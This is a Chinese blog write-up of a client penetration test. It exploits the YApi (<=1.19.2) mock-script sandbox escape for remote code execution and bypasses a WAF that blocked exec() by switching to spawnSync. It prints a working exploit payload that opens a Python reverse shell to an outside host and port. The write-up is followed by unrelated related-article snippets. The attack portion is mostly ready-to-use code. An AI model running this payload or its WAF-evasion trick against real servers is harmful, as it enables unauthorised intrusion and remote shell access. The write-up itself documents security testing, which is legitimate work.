Yapi代码执行 waf绕过实战记录

本文记录了2021年一次有趣的客户目标测试实战。这次经历颇为特别,因此我将其整理成笔记,并在此分享,希望对大家有所帮助。

事件起因

疫情在家办公,准备开始划水的一天,这时接到 boss 的电话说要做项目,老板发话说干就干。先对先对客户资产进行收集,结果意外发现一个大宝贝!就这样开始了与 Yapi 的美丽邂逅。

初步复现

目标界面是这样的


该应用之前爆出过代码执行漏洞,在版本<=1.19.2中大致的利用过程是注册用户->创建项目->添加接口->输入代码命令->访问接口便可以查看命令执行结果,其中网上流传的payload如下所示

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami")

当时,按照复线文章一步一步操作,直到保存脚本时却遇到了问题。正常情况下,点击保存后应该跳转到另一个页面,但这个目标没有任何反应。起初我以为是管理员禁用了保存功能,后来随便保存了一串无害字符,结果显示保存成功。
查看了浏览器的网络请求状态,发现原来是保存恶意脚本的请求被拒绝了。难怪没发现该目标没有被漏洞利用过的痕迹,原来是有 WAF(Web 应用防火墙)进行防御的。

尝试绕过

既然碰到了就不能放过。我尝试将恶意脚本进行二分法分段保存,经过一步步尝试,最终发现被拦截是因为识别到了 exec() 函数,经查询上诉该恶意脚本为 Node.js 脚本,翻一翻官方文档看到了以下内容:


既然 child_process.execSync() 被禁,那尝试使用 spawn() 替代尝试是否可绕过。对照官方文档进行函数名替换后点击保存显示保存成功。这预示着成功了一大步可以初步绕过waf的检测,之后赶紧访问保存的恶意脚本进行反弹 shell 结果 vps 半天没消息,就在怀疑该主机是否不出网的时候被叫吃中午饭了,暂放一阶段。

成功复现

吃完饭回来理了理思路,突然发现文档中 exec() 与 spawn() 语法是有区别的。exec() 可以直接将命令和参数写进去,比如 exec(ping 8.8.8.8 -c 4),而 spawn() 只能 spawn(ping ['8.8.8.8', '-c', '4'])spawn() 的命令和参数是分开的,参考官方文档的参数格式要求再一次修改命令执行脚本,使用nc反弹结果等了个寂寞,后面改成了python反弹命令,保存后访问接口,结果啪的一下很突然,成功收到了反弹连接

最后修改后的脚本如下:

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
Poc = process.mainModule.require("child_process").spawnSync(
  'python', ['-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.8.8.8",6665));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);']
)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/703523.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

3D培训大师:深度沉浸式学习,筑牢基建安全防线

基建行业作为国家发展的基石&#xff0c;横跨公共事业、交通运输、水利环境等核心领域&#xff0c;施工现场的安全保障至关重要。这不仅是为了锤炼员工精湛的操作技能&#xff0c;更是为了提升每一位员工的安全意识&#xff0c;确保他们在复杂的工程环境中游刃有余&#xff0c;…

【Ardiuno】实验使用ESP32单片机实现高级web服务器暂时动态图表功能(图文)

接下来&#xff0c;我们继续实验示例代码中的Wifi“高级web服务器”&#xff0c;配置相关的无线密码后&#xff0c;开始实验 #include <WiFi.h> #include <WiFiClient.h> #include <WebServer.h> #include <ESPmDNS.h>const char *ssid "XIAOFE…

总负债50万,32万网贷已还清,征信花了,多久才能养好?

​近年来&#xff0c;我国网贷市场如同春天的竹笋&#xff0c;一夜间冒出无数。不论企业资质如何&#xff0c;都纷纷涉足网贷领域&#xff0c;导致网贷乱象丛生。在如此环境下&#xff0c;借钱变得轻而易举&#xff0c;门槛低得让人难以置信&#xff0c;许多人一缺钱就想到网贷…

使用CSS、JavaScript、jQuery三种方式实现手风琴效果

手风琴效果有不少&#xff0c;王者荣耀官网&#xff08;源网址 https://pvp.qq.com/raiders/ &#xff09;有一处周免英雄&#xff0c;使用的就是手风琴效果&#xff0c;如图所示。 我试着用css、js、jQuery三种方式实现了这种效果&#xff0c;最终效果差不多&#xff0c;美中不…

【产品经理】发票系统简述

一、发票类型 增值税电子普通发票&#xff1a;简称电票 增值税普通发票和增值税专用发票&#xff0c;简称&#xff1a;纸票 蓝票&#xff1a;开票金额为正值的发票。红票&#xff1a;发票金额为负值的发票。 注&#xff1a;专票电子化系统国家目前在推&#xff0c;后续有更新…

C++ 13 之 常量的引用

c13常量的引用.cpp #include <iostream> using namespace std;void showval(const int &a) {// 给函数形参设置const, 目的是防止后续误操作修改变量值// a 200; // 参数一旦设置为const常量&#xff0c;就无法直接修改&#xff0c;想改需要使用指针cout << …

Spring IoC注解

一、回顾反射机制 反射的调用三步&#xff1a;1&#xff09;获取类。2&#xff09;获取方法。3&#xff09;调用方法 调用方法&#xff1a;调用哪个对象&#xff0c;哪个方法&#xff0c;传什么参数&#xff0c;返回什么值。 方法&#xff08;Do&#xff09;类&#xff1a; …

GPT-4o更易越狱?北航南洋理工上万次测试详解!

GPT-4o&#xff0c;比上一代更容易遭受越狱攻击&#xff1f; 北航和南洋理工的研究人员通过上万次API查询&#xff0c;对GPT-4o的各种模态安全性进行了详细测试。 结果发现&#xff0c;GPT-4o新引入的语音模态带来了新的攻击面&#xff0c;多模态整体安全性不如GPT-4V。 GPT-4o…

SAP 使用BAPI更改分配字段ZUONR不生效解决方案

需求&#xff1a; 使用BAPI变更财务凭证上的ZUONR分配字段&#xff0c;正常情况下使用BAPI:FI_DOCUMENT_CHANGE或者FI_ITEMS_MASS_CHANGE都是可以进行变更的&#xff0c;但是项目上要变更的科目类型是KZ&#xff0c;导致这两个BAPI都没办法进行更改&#xff0c;故对此BAPI进行…

Kali Linux 2022.2 发布,包含 10 个新工具和WSL 改进

Offensive Security发布了Kali Linux 2022.2&#xff0c;这是2022年的第二个版本&#xff0c;具有桌面增强功能&#xff0c;有趣的愚人节屏幕保护程序&#xff0c;WSL GUI改进&#xff0c;终端调整&#xff0c;最重要的是&#xff0c;新的工具&#xff01; Kali Linux是一个Li…

中电金信:产教联合共育人才 AFAC2024金融智能创新大赛启动

当前&#xff0c;人工智能技术正在蓬勃发展&#xff0c;引领着各行各业迈向智能化的新纪元&#xff0c;特别是在金融科技领域&#xff0c;伴随人工智能技术的不断迭代与突破&#xff0c;金融服务的边界也在不断拓展&#xff0c;传统的金融业态正经历着深刻的变革与重塑。 与此同…

SpringCash

文章目录 简介引入依赖常用注解application.yml使用1. 启动类添加注解使用方法上添加注解 简介 Spring Cache是一个框架&#xff0c;实现了基于注解的缓存功能底层可以使用EHCache、Caffeine、Redis实现缓存。 注解一般放在Controller的方法上&#xff0c;CachePut 注解一般有…

给文件夹加密的最简单方法

安当TDE透明加密针对文件夹数据加密的保护方案主要包括以下几个方面&#xff1a; 1. 透明加密机制&#xff1a; 用户无需关心数据的加密和解密过程&#xff0c;操作文件夹时就像处理普通数据一样。加密和解密操作在后台自动进行&#xff0c;对用户和应用程序透明。 2. 高性能加…

【LeetCode 前缀和 + 哈希表】LC_560_和为K的子数组

文章目录 1. 和为K的子数组&#x1f197; 1. 和为K的子数组&#x1f197; 题目链接&#x1f517; &#x1f427;解题思路&#xff1a; 前缀和 哈希表 &#x1f34e; 设i为数组中的任意位置&#xff0c;⽤ sum[i] 表⽰ [0, i] 区间内所有元素的和。 &#x1f34e; 想知道有…

Mybatis05-一对多和多对一处理

多对一和一对多 多对一 多对一的理解&#xff1a; 多个学生对应一个老师 如果对于学生这边&#xff0c;就是一个多对一的现象&#xff0c;即从学生这边关联一个老师&#xff01; 结果映射&#xff08;resultMap&#xff09;&#xff1a; association 一个复杂类型的关联&…

Spark安装、解压、配置环境变量、WordCount

Spark 小白的spark学习笔记 2024/5/30 10:14 文章目录 Spark安装解压改名配置spark-env.sh重命名&#xff0c;配置slaves启动查看配置环境变量 工作流程maven创建maven项目配置maven更改pom.xml WordCount按照用户求消费额上传到spark集群上运行 安装 上传&#xff0c;直接拖拽…

RPA-UiBot6.0数据分发机器人—工作通知一键分发

前言 &#x1f4e2;友友们本篇博客的焦点机器人&#xff1a;信息群发机器人&#x1f44b; &#xff08;可以参考小北之前的微信群发助手和校园网更新提示助手两篇博客&#xff09;Uibot (RPA设计软件&#xff09;智能识别信息&#xff0b;微信群发助手&#xff08;升级版&…

Tomcat配置中最大线程数和句柄数分别意义和关系

哈喽&#xff0c;大家好&#xff0c;我是木头左&#xff01; 在Tomcat服务器的配置中&#xff0c;有两个参数是非常重要的&#xff1a;最大线程数和最大句柄数。这两个参数对于服务器的性能和稳定性有着至关重要的影响。本文将详细介绍这两个参数的意义和关系。 1. 最大线程数 …

样式的双向绑定的2种方式,实现样式交互效果

与样式标签实现双向绑定 通过布尔值来决定样式是出现还是消失 show代表着布尔值&#xff0c;show的初始值是false所以文本不会有高亮的效果&#xff0c;当用户点击了按钮&#xff0c;就会调用shows这个函数&#xff0c;并将show的相反值true赋值并覆盖给show,此时show的值为tru…

LangChain入门学习笔记(二)——LangChain表达式语言(LCEL)

基于LangChain框架编写大模型应用的过程就像垒积木&#xff0c;其中的积木就是Prompts&#xff0c;LLMs和各种OutputParser等。如何将这些积木组织起来&#xff0c;除了使用基本Python语法调用对应类的方法&#xff0c;一种更灵活的方法就是使用位于LangChain-Core层中的LCEL&a…